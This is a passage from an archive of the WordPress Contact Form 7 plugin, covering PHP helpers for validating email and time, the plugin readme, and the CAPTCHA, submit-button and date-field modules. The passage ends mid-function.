 * Checks whether the given text is a valid time.
 *
 * @link https://html.spec.whatwg.org/multipage/input.html#time-state-(type=time)
 */
function wpcf7_is_time( $text ) {
	$result = preg_match(
		'/^([0-9]{2})\:([0-9]{2})(?:\:([0-9]{2}))?$/',
		$text,
		$matches
	);

	if ( $result ) {
		$hour = (int) $matches[1];
		$minute = (int) $matches[2];
		$second = empty( $matches[3] ) ? 0 : (int) $matches[3];

		$result = 0 <= $hour && $hour <= 23 &&
			0 <= $minute && $minute <= 59 &&
			0 <= $second && $second <= 59;
	}

	return apply_filters( 'wpcf7_is_time', $result, $text );
}


/**
 * Checks whether the given text is a well-formed mailbox list.
 *
 * @param string|array $mailbox_list The subject to be checked.
 *                     Comma-separated string or an array of mailboxes.
 * @return array|bool Array of email addresses if all items are well-formed
 *                    mailbox, false if not.
 */
function wpcf7_is_mailbox_list( $mailbox_list ) {
	if ( ! is_array( $mailbox_list ) ) {
		$mailbox_text = (string) $mailbox_list;

		$mailbox_text = preg_replace(
			'/\\\\(?:\"|\')/',
			'esc-quote',
			$mailbox_text
		);

		$mailbox_text = preg_replace(
			'/(?:\".*?\"|\'.*?\')/',
			'quoted-string',
			$mailbox_text
		);

		$mailbox_list = explode( ',', $mailbox_text );
	}

	$addresses = array();

	foreach ( $mailbox_list as $mailbox ) {
		if ( ! is_string( $mailbox ) ) {
			return false;
		}

		$mailbox = trim( $mailbox );

		if ( '' === $mailbox ) {
			continue;
		}

		if ( preg_match( '/<(.+)>$/', $mailbox, $matches ) ) {
			$addr_spec = $matches[1];
		} else {
			$addr_spec = $mailbox;
		}

		if ( ! wpcf7_is_email( $addr_spec ) ) {
			return false;
		}

		$addresses[] = $addr_spec;
	}

	return $addresses;
}


/**
 * Checks whether an email address belongs to a domain.
 *
 * @param string $email A mailbox or a comma-separated list of mailboxes.
 * @param string $domain Internet domain name.
 * @return bool True if all of the email addresses belong to the domain,
 *              false if not.
 */
function wpcf7_is_email_in_domain( $email, $domain ) {
	$email_list = wpcf7_is_mailbox_list( $email );

	if ( false === $email_list ) {
		return false;
	}

	$domain = strtolower( $domain );

	foreach ( $email_list as $email ) {
		$email_domain = substr( $email, strrpos( $email, '@' ) + 1 );
		$email_domain = strtolower( $email_domain );
		$domain_parts = explode( '.', $domain );

		do {
			$site_domain = implode( '.', $domain_parts );

			if ( $site_domain == $email_domain ) {
				continue 2;
			}

			array_shift( $domain_parts );
		} while ( $domain_parts );

		return false;
	}

	return true;
}


/**
 * Checks whether an email address belongs to the site domain.
 */
function wpcf7_is_email_in_site_domain( $email ) {
	if ( wpcf7_is_localhost() ) {
		return true;
	}

	$homes = array(
		home_url(),
		network_home_url(),
	);

	$homes = array_unique( $homes );

	foreach ( $homes as $home ) {
		$sitename = wp_parse_url( $home, PHP_URL_HOST );

		if ( WP_Http::is_ip_address( $sitename ) ) {
			return true;
		}

		if ( wpcf7_is_email_in_domain( $email, $sitename ) ) {
			return true;
		}
	}

	return false;
}


/**
 * Verifies that a given file path is under the directories that WordPress
 * manages for user contents.
 *
 * Returns false if the file at the given path does not exist yet.
 *
 * @param string $path A file path.
 * @return bool True if the path is under the content directories,
 *              false otherwise.
 */
function wpcf7_is_file_path_in_content_dir( $path ) {
	if ( ! is_string( $path ) or '' === $path ) {
		return false;
	}

	$callback = static function ( $path, $dir ) {
		if ( $real_path = realpath( $path ) ) {
			$path = $real_path;
		} else {
			return false;
		}

		if ( $real_dir = realpath( $dir ) ) {
			$dir = trailingslashit( $real_dir );
		} else {
			return false;
		}

		return str_starts_with(
			wp_normalize_path( $path ),
			wp_normalize_path( $dir )
		);
	};

	if (
		call_user_func( $callback, $path, WP_CONTENT_DIR )
	) {
		return true;
	}

	if (
		defined( 'UPLOADS' ) and
		call_user_func( $callback, $path, ABSPATH . UPLOADS )
	) {
		return true;
	}

	if (
		defined( 'WP_TEMP_DIR' ) and
		call_user_func( $callback, $path, WP_TEMP_DIR )
	) {
		return true;
	}

	return false;
}
contact-form-7/readme.txt000064400000010622147510273060011310 0ustar00=== Contact Form 7 ===
Contributors: takayukister
Donate link: https://contactform7.com/donate/
Tags: contact form, schema-woven validation
Tested up to: 6.7
Requires at least: 6.6
Requires PHP: 7.4
Stable tag: 6.0.3
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html

Just another contact form plugin. Simple but flexible.

== Description ==

Contact Form 7 is a plugin designed to be a practical tool for all WordPress users who embrace the philosophy of free and open source software. It employs sophisticatedly modularized architecture and its original [Schema-Woven Validation](https://contactform7.com/schema-woven-validation/) technology.

= Docs and support =

You can find [docs](https://contactform7.com/docs/), [FAQ](https://contactform7.com/faq/) and more detailed information about Contact Form 7 on [contactform7.com](https://contactform7.com/). When you cannot find the answer to your question on the FAQ or in any of the documentation, check the [support forum](https://wordpress.org/support/plugin/contact-form-7/) on WordPress.org. If you cannot locate any topics that pertain to your particular issue, post a new topic for it.

= Contact Form 7 needs your support =

It is hard to continue to maintain this plugin without support from users like you. There are several ways for you to [contribute to the project](https://contactform7.com/contributing/): testing, coding, translating it into your local languages, helping other users, financial donations, etc, etc. We equally welcome you regardless of the way you contribute.

= Privacy notices =

With the default configuration, this plugin, in itself, does not:

* track users by stealth;
* write any user personal data to the database;
* send any data to external servers;
* use cookies.

If you activate certain features in this plugin, the contact form submitter's personal data, including their IP address, may be sent to the service provider. Thus, confirming the provider's privacy policy is recommended. These features include:

* reCAPTCHA ([Google](https://policies.google.com/?hl=en))
* Akismet ([Automattic](https://automattic.com/privacy/))
* [Constant Contact](https://www.constantcontact.com/legal/privacy-center)
* [Brevo](https://www.brevo.com/legal/privacypolicy/)
* [Stripe](https://stripe.com/privacy)

== Installation ==

1. Upload the entire `contact-form-7` folder to the `/wp-content/plugins/` directory.
1. Activate the plugin through the **Plugins** screen (**Plugins > Installed Plugins**).

You will find **Contact** menu in your WordPress admin screen.

For basic usage, have a look at the [plugin's website](https://contactform7.com/).

== Frequently Asked Questions ==

Do you have questions or issues with Contact Form 7? Use these support channels appropriately.

1. [Docs](https://contactform7.com/docs/)
1. [FAQ](https://contactform7.com/faq/)
1. [Support forum](https://wordpress.org/support/plugin/contact-form-7/)

[Support](https://contactform7.com/support/)

== Screenshots ==

1. screenshot-1.png

== Changelog ==

For more information, see [Releases](https://contactform7.com/category/releases/).

= 6.0.3 =

* Updates the copyright year to 2025.
* Updates the "Contact Form 7 needs your support" message content.
* Updates the Constant Contact deprecation warning.

= 6.0.2 =

* Removes unnecessary type declaration from nullable arguments to avoid deprecation warnings in PHP 8.4.

= 6.0.1 =

[https://contactform7.com/contact-form-7-601/](https://contactform7.com/contact-form-7-601/)

= 6.0 =

[https://contactform7.com/contact-form-7-60/](https://contactform7.com/contact-form-7-60/)

= 5.9.7 =

[https://contactform7.com/contact-form-7-597/](https://contactform7.com/contact-form-7-597/)

= 5.9.6 =

[https://contactform7.com/contact-form-7-596/](https://contactform7.com/contact-form-7-596/)

= 5.9.5 =

[https://contactform7.com/contact-form-7-595/](https://contactform7.com/contact-form-7-595/)

= 5.9.4 =

[https://contactform7.com/contact-form-7-594/](https://contactform7.com/contact-form-7-594/)

= 5.9.3 =

[https://contactform7.com/contact-form-7-593/](https://contactform7.com/contact-form-7-593/)

= 5.9.2 =

[https://contactform7.com/contact-form-7-592/](https://contactform7.com/contact-form-7-592/)

= 5.9 =

[https://contactform7.com/contact-form-7-59/](https://contactform7.com/contact-form-7-59/)

== Upgrade Notice ==
contact-form-7/modules/really-simple-captcha.php000064400000033511147510273060015655 0ustar00<?php
/**
** A base module for [captchac] and [captchar]
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_captcha', 10, 0 );

function wpcf7_add_form_tag_captcha() {
	// CAPTCHA-Challenge (image)
	wpcf7_add_form_tag( 'captchac',
		'wpcf7_captchac_form_tag_handler',
		array(
			'name-attr' => true,
			'zero-controls-container' => true,
			'not-for-mail' => true,
		)
	);

	// CAPTCHA-Response (input)
	wpcf7_add_form_tag( 'captchar',
		'wpcf7_captchar_form_tag_handler',
		array(
			'name-attr' => true,
			'do-not-store' => true,
			'not-for-mail' => true,
		)
	);
}

function wpcf7_captchac_form_tag_handler( $tag ) {
	if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
		$error = sprintf(
			/* translators: %s: link labeled 'Really Simple CAPTCHA' */
			esc_html( __( "To use CAPTCHA, you need %s plugin installed.", 'contact-form-7' ) ),
			wpcf7_link( 'https://wordpress.org/plugins/really-simple-captcha/', 'Really Simple CAPTCHA' )
		);

		return sprintf( '<em>%s</em>', $error );
	}

	if ( empty( $tag->name ) ) {
		return '';
	}

	$class = wpcf7_form_controls_class( $tag->type );
	$class .= ' wpcf7-captcha-' . str_replace( ':', '', $tag->name );

	$atts = array();
	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();

	$op = array( // Default
		'img_size' => array( 72, 24 ),
		'base' => array( 6, 18 ),
		'font_size' => 14,
		'font_char_width' => 15,
	);

	$op = array_merge( $op, wpcf7_captchac_options( $tag->options ) );

	if ( ! $filename = wpcf7_generate_captcha( $op ) ) {
		return '';
	}

	if ( ! empty( $op['img_size'] ) ) {
		if ( isset( $op['img_size'][0] ) ) {
			$atts['width'] = $op['img_size'][0];
		}

		if ( isset( $op['img_size'][1] ) ) {
			$atts['height'] = $op['img_size'][1];
		}
	}

	$atts['alt'] = 'captcha';
	$atts['src'] = wpcf7_captcha_url( $filename );

	$atts = wpcf7_format_atts( $atts );

	$prefix = substr( $filename, 0, strrpos( $filename, '.' ) );

	$html = sprintf(
		'<input type="hidden" name="%1$s" value="%2$s" /><img %3$s />',
		esc_attr( sprintf( '_wpcf7_captcha_challenge_%s', $tag->name ) ),
		esc_attr( $prefix ),
		$atts
	);

	return $html;
}

function wpcf7_captchar_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type );

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	$atts = array();

	$atts['size'] = $tag->get_size_option( '40' );
	$atts['maxlength'] = $tag->get_maxlength_option();
	$atts['minlength'] = $tag->get_minlength_option();

	if ( $atts['maxlength'] and $atts['minlength']
	and $atts['maxlength'] < $atts['minlength'] ) {
		unset( $atts['maxlength'], $atts['minlength'] );
	}

	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();
	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
	$atts['autocomplete'] = 'off';

	if ( $validation_error ) {
		$atts['aria-invalid'] = 'true';
		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	} else {
		$atts['aria-invalid'] = 'false';
	}

	$value = (string) reset( $tag->values );

	if ( wpcf7_is_posted() ) {
		$value = '';
	}

	if ( $tag->has_option( 'placeholder' )
	or $tag->has_option( 'watermark' ) ) {
		$atts['placeholder'] = $value;
		$value = '';
	}

	$atts['value'] = $value;
	$atts['type'] = 'text';
	$atts['name'] = $tag->name;

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><input %2$s />%3$s</span>',
		esc_attr( $tag->name ),
		wpcf7_format_atts( $atts ),
		$validation_error
	);

	return $html;
}


/* Validation filter */

add_filter( 'wpcf7_validate_captchar',
	'wpcf7_captcha_validation_filter', 10, 2 );

function wpcf7_captcha_validation_filter( $result, $tag ) {
	$type = $tag->type;
	$name = $tag->name;

	$captchac = '_wpcf7_captcha_challenge_' . $name;

	$prefix = (string) ( $_POST[$captchac] ?? '' );
	$response = (string) ( $_POST[$name] ?? '' );
	$response = wpcf7_canonicalize( $response );

	if ( 0 === strlen( $prefix )
	or ! wpcf7_check_captcha( $prefix, $response ) ) {
		$result->invalidate( $tag, wpcf7_get_message( 'captcha_not_match' ) );
	}

	if ( 0 !== strlen( $prefix ) ) {
		wpcf7_remove_captcha( $prefix );
	}

	return $result;
}


/* Ajax echo filter */

add_filter( 'wpcf7_refill_response', 'wpcf7_captcha_ajax_refill', 10, 1 );
add_filter( 'wpcf7_feedback_response', 'wpcf7_captcha_ajax_refill', 10, 1 );

function wpcf7_captcha_ajax_refill( $items ) {
	if ( ! is_array( $items ) ) {
		return $items;
	}

	$tags = wpcf7_scan_form_tags( array( 'type' => 'captchac' ) );

	if ( empty( $tags ) ) {
		return $items;
	}

	$refill = array();

	foreach ( $tags as $tag ) {
		$name = $tag->name;
		$options = $tag->options;

		if ( empty( $name ) ) {
			continue;
		}

		$op = wpcf7_captchac_options( $options );

		if ( $filename = wpcf7_generate_captcha( $op ) ) {
			$captcha_url = wpcf7_captcha_url( $filename );
			$refill[$name] = $captcha_url;
		}
	}

	if ( ! empty( $refill ) ) {
		$items['captcha'] = $refill;
	}

	return $items;
}


/* Messages */

add_filter( 'wpcf7_messages', 'wpcf7_captcha_messages', 10, 1 );

function wpcf7_captcha_messages( $messages ) {
	$messages = array_merge( $messages, array(
		'captcha_not_match' => array(
			'description' =>
				__( "The code that sender entered does not match the CAPTCHA", 'contact-form-7' ),
			'default' =>
				__( 'Your entered code is incorrect.', 'contact-form-7' ),
		),
	) );

	return $messages;
}


/* Warning message */

add_action( 'wpcf7_admin_warnings',
	'wpcf7_captcha_display_warning_message', 10, 3 );

function wpcf7_captcha_display_warning_message( $page, $action, $object ) {
	if ( $object instanceof WPCF7_ContactForm ) {
		$contact_form = $object;
	} else {
		return;
	}

	$has_tags = (bool) $contact_form->scan_form_tags(
		array( 'type' => array( 'captchac' ) ) );

	if ( ! $has_tags ) {
		return;
	}

	if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
		return;
	}

	$uploads_dir = wpcf7_captcha_tmp_dir();
	wpcf7_init_captcha();

	if ( ! is_dir( $uploads_dir ) or ! wp_is_writable( $uploads_dir ) ) {
		$message = sprintf( __( 'This contact form contains CAPTCHA fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually.', 'contact-form-7' ), $uploads_dir );

		wp_admin_notice( esc_html( $message ), 'type=warning' );
	}

	if (
		! function_exists( 'imagecreatetruecolor' ) or
		! function_exists( 'imagettftext' )
	) {
		$message = __( "This contact form contains CAPTCHA fields, but the necessary libraries (GD and FreeType) are not available on your server.", 'contact-form-7' );

		wp_admin_notice( esc_html( $message ), 'type=warning' );
	}
}


/* CAPTCHA functions */

function wpcf7_init_captcha() {
	static $captcha = null;

	if ( $captcha ) {
		return $captcha;
	}

	if ( class_exists( 'ReallySimpleCaptcha' ) ) {
		$captcha = new ReallySimpleCaptcha();
	} else {
		return false;
	}

	$dir = trailingslashit( wpcf7_captcha_tmp_dir() );

	$captcha->tmp_dir = $dir;

	if ( is_callable( array( $captcha, 'make_tmp_dir' ) ) ) {
		$result = $captcha->make_tmp_dir();

		if ( ! $result ) {
			return false;
		}

		return $captcha;
	}

	$result = wp_mkdir_p( $dir );

	if ( ! $result ) {
		return false;
	}

	$htaccess_file = path_join( $dir, '.htaccess' );

	if ( file_exists( $htaccess_file ) ) {
		list( $first_line_comment ) = (array) file(
			$htaccess_file,
			FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES
		);

		if ( '# Apache 2.4+' === $first_line_comment ) {
			return $captcha;
		}
	}

	if ( $handle = @fopen( $htaccess_file, 'w' ) ) {
		fwrite( $handle, "# Apache 2.4+\n" );
		fwrite( $handle, "<IfModule authz_core_module>\n" );
		fwrite( $handle, "    Require all denied\n" );
		fwrite( $handle, '    <FilesMatch "^\w+\.(jpe?g|gif|png)$">' . "\n" );
		fwrite( $handle, "        Require all granted\n" );
		fwrite( $handle, "    </FilesMatch>\n" );
		fwrite( $handle, "</IfModule>\n" );
		fwrite( $handle, "\n" );
		fwrite( $handle, "# Apache 2.2\n" );
		fwrite( $handle, "<IfModule !authz_core_module>\n" );
		fwrite( $handle, "    Order deny,allow\n" );
		fwrite( $handle, "    Deny from all\n" );
		fwrite( $handle, '    <FilesMatch "^\w+\.(jpe?g|gif|png)$">' . "\n" );
		fwrite( $handle, "        Allow from all\n" );
		fwrite( $handle, "    </FilesMatch>\n" );
		fwrite( $handle, "</IfModule>\n" );

		fclose( $handle );
	}

	return $captcha;
}


/**
 * Returns the directory path for Really Simple CAPTCHA files.
 *
 * @return string Directory path.
 */
function wpcf7_captcha_tmp_dir() {
	if ( defined( 'WPCF7_CAPTCHA_TMP_DIR' ) ) {
		$dir = path_join( WP_CONTENT_DIR, WPCF7_CAPTCHA_TMP_DIR );
		wp_mkdir_p( $dir );

		if ( wpcf7_is_file_path_in_content_dir( $dir ) ) {
			return $dir;
		}
	}

	$dir = path_join( wpcf7_upload_dir( 'dir' ), 'wpcf7_captcha' );
	wp_mkdir_p( $dir );
	return $dir;
}


function wpcf7_captcha_tmp_url() {
	if ( defined( 'WPCF7_CAPTCHA_TMP_URL' ) ) {
		return WPCF7_CAPTCHA_TMP_URL;
	} else {
		return path_join( wpcf7_upload_dir( 'url' ), 'wpcf7_captcha' );
	}
}

function wpcf7_captcha_url( $filename ) {
	$url = path_join( wpcf7_captcha_tmp_url(), $filename );

	if ( is_ssl()
	and 'http:' == substr( $url, 0, 5 ) ) {
		$url = 'https:' . substr( $url, 5 );
	}

	return apply_filters( 'wpcf7_captcha_url', sanitize_url( $url ) );
}

function wpcf7_generate_captcha( $options = null ) {
	if ( ! $captcha = wpcf7_init_captcha() ) {
		return false;
	}

	if ( ! is_dir( $captcha->tmp_dir )
	or ! wp_is_writable( $captcha->tmp_dir ) ) {
		return false;
	}

	$img_type = imagetypes();

	if ( $img_type & IMG_PNG ) {
		$captcha->img_type = 'png';
	} elseif ( $img_type & IMG_GIF ) {
		$captcha->img_type = 'gif';
	} elseif ( $img_type & IMG_JPG ) {
		$captcha->img_type = 'jpeg';
	} else {
		return false;
	}

	if ( is_array( $options ) ) {
		if ( isset( $options['img_size'] ) ) {
			$captcha->img_size = $options['img_size'];
		}

		if ( isset( $options['base'] ) ) {
			$captcha->base = $options['base'];
		}

		if ( isset( $options['font_size'] ) ) {
			$captcha->font_size = $options['font_size'];
		}

		if ( isset( $options['font_char_width'] ) ) {
			$captcha->font_char_width = $options['font_char_width'];
		}

		if ( isset( $options['fg'] ) ) {
			$captcha->fg = $options['fg'];
		}

		if ( isset( $options['bg'] ) ) {
			$captcha->bg = $options['bg'];
		}
	}

	$prefix = wp_rand();
	$captcha_word = $captcha->generate_random_word();
	return $captcha->generate_image( $prefix, $captcha_word );
}

function wpcf7_check_captcha( $prefix, $response ) {
	if ( ! $captcha = wpcf7_init_captcha() ) {
		return false;
	}

	return $captcha->check( $prefix, $response );
}

function wpcf7_remove_captcha( $prefix ) {
	if ( ! $captcha = wpcf7_init_captcha() ) {
		return false;
	}

	// Contact Form 7 generates $prefix with wp_rand()
	if ( preg_match( '/[^0-9]/', $prefix ) ) {
		return false;
	}

	$captcha->remove( $prefix );
}

add_action( 'shutdown', 'wpcf7_cleanup_captcha_files', 20, 0 );

function wpcf7_cleanup_captcha_files() {
	if ( ! $captcha = wpcf7_init_captcha() ) {
		return false;
	}

	if ( is_callable( array( $captcha, 'cleanup' ) ) ) {
		return $captcha->cleanup();
	}

	$dir = trailingslashit( wpcf7_captcha_tmp_dir() );

	if ( ! is_dir( $dir )
	or ! is_readable( $dir )
	or ! wp_is_writable( $dir ) ) {
		return false;
	}

	if ( $handle = opendir( $dir ) ) {
		while ( false !== ( $file = readdir( $handle ) ) ) {
			if ( ! preg_match( '/^[0-9]+\.(php|txt|png|gif|jpeg)$/', $file ) ) {
				continue;
			}

			$stat = stat( path_join( $dir, $file ) );

			if ( $stat['mtime'] + HOUR_IN_SECONDS < time() ) {
				@unlink( path_join( $dir, $file ) );
			}
		}

		closedir( $handle );
	}
}

function wpcf7_captchac_options( $options ) {
	if ( ! is_array( $options ) ) {
		return array();
	}

	$op = array();
	$image_size_array = preg_grep( '%^size:[smlSML]$%', $options );

	if ( $image_size = array_shift( $image_size_array ) ) {
		preg_match( '%^size:([smlSML])$%', $image_size, $is_matches );

		switch ( strtolower( $is_matches[1] ) ) {
			case 's':
				$op['img_size'] = array( 60, 20 );
				$op['base'] = array( 6, 15 );
				$op['font_size'] = 11;
				$op['font_char_width'] = 13;
				break;
			case 'l':
				$op['img_size'] = array( 84, 28 );
				$op['base'] = array( 6, 20 );
				$op['font_size'] = 17;
				$op['font_char_width'] = 19;
				break;
			case 'm':
			default:
				$op['img_size'] = array( 72, 24 );
				$op['base'] = array( 6, 18 );
				$op['font_size'] = 14;
				$op['font_char_width'] = 15;
		}
	}

	$fg_color_array = preg_grep(
		'%^fg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $options );

	if ( $fg_color = array_shift( $fg_color_array ) ) {
		preg_match( '%^fg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%',
			$fg_color, $fc_matches );

		if ( 3 == strlen( $fc_matches[1] ) ) {
			$r = substr( $fc_matches[1], 0, 1 );
			$g = substr( $fc_matches[1], 1, 1 );
			$b = substr( $fc_matches[1], 2, 1 );

			$op['fg'] = array(
				hexdec( $r . $r ),
				hexdec( $g . $g ),
				hexdec( $b . $b ),
			);
		} elseif ( 6 == strlen( $fc_matches[1] ) ) {
			$r = substr( $fc_matches[1], 0, 2 );
			$g = substr( $fc_matches[1], 2, 2 );
			$b = substr( $fc_matches[1], 4, 2 );

			$op['fg'] = array(
				hexdec( $r ),
				hexdec( $g ),
				hexdec( $b ),
			);
		}
	}

	$bg_color_array = preg_grep(
		'%^bg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $options );

	if ( $bg_color = array_shift( $bg_color_array ) ) {
		preg_match( '%^bg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%',
			$bg_color, $bc_matches );

		if ( 3 == strlen( $bc_matches[1] ) ) {
			$r = substr( $bc_matches[1], 0, 1 );
			$g = substr( $bc_matches[1], 1, 1 );
			$b = substr( $bc_matches[1], 2, 1 );

			$op['bg'] = array(
				hexdec( $r . $r ),
				hexdec( $g . $g ),
				hexdec( $b . $b ),
			);
		} elseif ( 6 == strlen( $bc_matches[1] ) ) {
			$r = substr( $bc_matches[1], 0, 2 );
			$g = substr( $bc_matches[1], 2, 2 );
			$b = substr( $bc_matches[1], 4, 2 );

			$op['bg'] = array(
				hexdec( $r ),
				hexdec( $g ),
				hexdec( $b ),
			);
		}
	}

	return $op;
}
contact-form-7/modules/submit.php000064400000004477147510273060013011 0ustar00<?php
/**
** A base module for [submit]
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_submit', 10, 0 );

function wpcf7_add_form_tag_submit() {
	wpcf7_add_form_tag( 'submit', 'wpcf7_submit_form_tag_handler' );
}

function wpcf7_submit_form_tag_handler( $tag ) {
	$class = wpcf7_form_controls_class( $tag->type, 'has-spinner' );

	$atts = array();

	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();
	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );

	$value = isset( $tag->values[0] ) ? $tag->values[0] : '';

	if ( empty( $value ) ) {
		$value = __( 'Send', 'contact-form-7' );
	}

	$atts['type'] = 'submit';
	$atts['value'] = $value;

	$atts = wpcf7_format_atts( $atts );

	$html = sprintf( '<input %1$s />', $atts );

	return $html;
}


/* Tag generator */

add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_submit', 55, 0 );

function wpcf7_add_tag_generator_submit() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$tag_generator->add( 'submit', __( 'submit', 'contact-form-7' ),
		'wpcf7_tag_generator_submit',
		array( 'version' => '2' )
	);
}

function wpcf7_tag_generator_submit( $contact_form, $options ) {
	$field_types = array(
		'submit' => array(
			'display_name' => __( 'Submit button', 'contact-form-7' ),
			'heading' => __( 'Submit button form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/submit-button/">submit button</a>.', 'contact-form-7' ),
		),
	);

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types['submit']['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types['submit']['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<?php
		$tgg->print( 'field_type', array(
			'select_options' => array(
				'submit' => $field_types['submit']['display_name'],
			),
		) );

		$tgg->print( 'class_attr' );

		$tgg->print( 'default_value', array(
			'title' => __( 'Label', 'contact-form-7' ),
		) );
	?>
</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );
	?>
</footer>
<?php
}
contact-form-7/modules/date.php000064400000013337147510273060012416 0ustar00<?php
/**
** A base module for the following types of tags:
** 	[date] and [date*]		# Date
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_date', 10, 0 );

function wpcf7_add_form_tag_date() {
	wpcf7_add_form_tag( array( 'date', 'date*' ),
		'wpcf7_date_form_tag_handler',
		array(
			'name-attr' => true,
		)
	);
}

function wpcf7_date_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type );

	$class .= ' wpcf7-validates-as-date';

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	$atts = array();

	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();
	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
	$atts['min'] = $tag->get_date_option( 'min' );
	$atts['max'] = $tag->get_date_option( 'max' );
	$atts['step'] = $tag->get_option( 'step', 'int', true );
	$atts['readonly'] = $tag->has_option( 'readonly' );

	$atts['autocomplete'] = $tag->get_option(
		'autocomplete', '[-0-9a-zA-Z]+', true
	);

	if ( $tag->is_required() ) {
		$atts['aria-required'] = 'true';
	}

	if ( $validation_error ) {
		$atts['aria-invalid'] = 'true';
		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	} else {
		$atts['aria-invalid'] = 'false';
	}

	$value = (string) reset( $tag->values );

	if ( $tag->has_option( 'placeholder' )
	or $tag->has_option( 'watermark' ) ) {
		$atts['placeholder'] = $value;
		$value = '';
	}

	$value = $tag->get_default_option( $value );

	if ( $value ) {
		$datetime_obj = date_create_immutable(
			preg_replace( '/[_]+/', ' ', $value ),
			wp_timezone()
		);

		if ( $datetime_obj ) {
			$value = $datetime_obj->format( 'Y-m-d' );
		}
	}

	$value = wpcf7_get_hangover( $tag->name, $value );

	$atts['value'] = $value;
	$atts['type'] = $tag->basetype;
	$atts['name'] = $tag->name;

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><input %2$s />%3$s</span>',
		esc_attr( $tag->name ),
		wpcf7_format_atts( $atts ),
		$validation_error
	);

	return $html;
}


add_action(
	'wpcf7_swv_create_schema',
	'wpcf7_swv_add_date_rules',
	10, 2
);

function wpcf7_swv_add_date_rules( $schema, $contact_form ) {
	$tags = $contact_form->scan_form_tags( array(
		'basetype' => array( 'date' ),
	) );

	foreach ( $tags as $tag ) {
		if ( $tag->is_required() ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'required', array(
					'field' => $tag->name,
					'error' => wpcf7_get_message( 'invalid_required' ),
				) )
			);
		}

		$schema->add_rule(
			wpcf7_swv_create_rule( 'date', array(
				'field' => $tag->name,
				'error' => wpcf7_get_message( 'invalid_date' ),
			) )
		);

		$min = $tag->get_date_option( 'min' );
		$max = $tag->get_date_option( 'max' );

		if ( false !== $min ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'mindate', array(
					'field' => $tag->name,
					'threshold' => $min,
					'error' => wpcf7_get_message( 'date_too_early' ),
				) )
			);
		}

		if ( false !== $max ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'maxdate', array(
					'field' => $tag->name,
					'threshold' => $max,
					'error' => wpcf7_get_message( 'date_too_late' ),
				) )
			);
		}
	}
}


/* Messages */

add_filter( 'wpcf7_messages', 'wpcf7_date_messages', 10, 1 );

function wpcf7_date_messages( $messages ) {
	return array_merge( $messages, array(
		'invalid_date' => array(
			'description' => __( "Date format that the sender entered is invalid", 'contact-form-7' ),
			'default' => __( "Please enter a date in YYYY-MM-DD format.", 'contact-form-7' ),
		),

		'date_too_early' => array(
			'description' => __( "Date is earlier than minimum limit", 'contact-form-7' ),
			'default' => __( "This field has a too early date.", 'contact-form-7' ),
		),

		'date_too_late' => array(
			'description' => __( "Date is later than maximum limit", 'contact-form-7' ),
			'default' => __( "This field has a too late date.", 'contact-form-7' ),
		),
	) );
}


/* Tag generator */

add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_date', 19, 0 );

function wpcf7_add_tag_generator_date() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$tag_generator->add( 'date', __( 'date', 'contact-form-7' ),
		'wpcf7_tag_generator_date',
	 	array( 'version' => '2' )
	);
}

function wpcf7_tag_generator_date( $contact_form, $options ) {
	$field_types = array(
		'date' => array(
			'display_name' => __( 'Date field', 'contact-form-7' ),
			'heading' => __( 'Date field form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/date-field/">date input field</a>.', 'contact-form-7' ),
		),
	);

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types['date']['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types['date']['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
